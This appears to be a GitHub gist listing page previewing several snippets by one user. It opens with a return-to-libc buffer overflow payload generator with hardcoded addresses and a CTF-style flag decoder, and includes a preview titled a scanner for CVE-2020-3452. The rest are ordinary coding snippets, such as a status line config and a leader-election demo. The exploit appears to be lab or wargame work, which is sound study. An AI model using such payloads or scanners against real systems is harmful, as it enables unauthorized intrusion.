Skip to content

Instantly share code, notes, and snippets.

============== payload file ============
import struct
padding="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
system_addr = struct.pack('I',0xb7ecffb0)
exit_addr = struct.pack('I',0xb7ec60c0)
egg_var = struct.pack('I',0xbfffff95)
print padding+system_addr+exit_addr+egg_var
================ setup file ===============
import sys
def print_flag():
flag_hex = [111,104,101,114,96,108,125,103,106,106,89,114,110,99,117,
99,89,107,105,107,99,104,114,117,89,106,105,117,114,89,111,104,89,114,111,107,99,123]
i = 0
while ( i < 38):
sys.stdout.write(chr(flag_hex[i] ^ 6))
i += 1
@amustaque97
amustaque97 / script.py
Created August 10, 2020 13:30
Scanner for CVE-2020-3452
import threading
import os
import sys
import requests
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry
# disable requests warning
requests.packages.urllib3.disable_warnings()
@amustaque97
amustaque97 / UpsolvingQuestion.java
Last active April 8, 2021 17:31
Upsolving Question asked in Interview
/******************************************************************************
Welcome to GDB Online.
GDB online is an online compiler and debugger tool for C, C++, Python, Java, PHP, Ruby, Perl,
C#, VB, Swift, Pascal, Fortran, Haskell, Objective-C, Assembly, HTML, CSS, JS, SQLite, Prolog.
Code, Compile, Run and Debug online from anywhere in world.
*******************************************************************************/
public class Main
{
# Online Python compiler (interpreter) to run Python online.
# Write Python 3 code in this online editor and run it.
from heapq import *
def minimum_cost_get_pattern(string, pattern):
n = len(string)+1
m = len(pattern)+1
distance = [[0 for x in range(n)] for x in range(m)]
@amustaque97
amustaque97 / status_line.lua
Created December 16, 2022 17:27
Status line
local generator = function()
local el_segments = {}
-- Option 2, just a function that returns a string.
local extensions = require('el.extensions')
local subscribe = require('el.subscribe')
local section = require('el.sections')
table.insert(el_segments, extensions.mode) -- mode returns the current mode.
table.insert(el_segments, section.split)
@amustaque97
amustaque97 / bully_algo.go
Created October 13, 2023 19:45
Bully algorithm naive implementation
/// A small attempt to implement `bully algo` that is used to select a leader
/// in distributed system. Here code might not be using right practices but our
/// purpose is to learn language and implment algo. Another learning from this
/// code is that channel has to be initiaised in order to work.
package main
import (
"fmt"
"time"
)
@amustaque97
amustaque97 / create-postman-collection.js
Created January 7, 2024 16:22
create-postman-collection.js
const axios = require("axios");
const Converter = require("openapi-to-postmanv2");
require("dotenv").config();
module.exports = function createCollection(key, value) {
// Load the Swagger JSON file
const swaggerUrl = `${value}-json`;
axios
.get(swaggerUrl)
.then((response) => {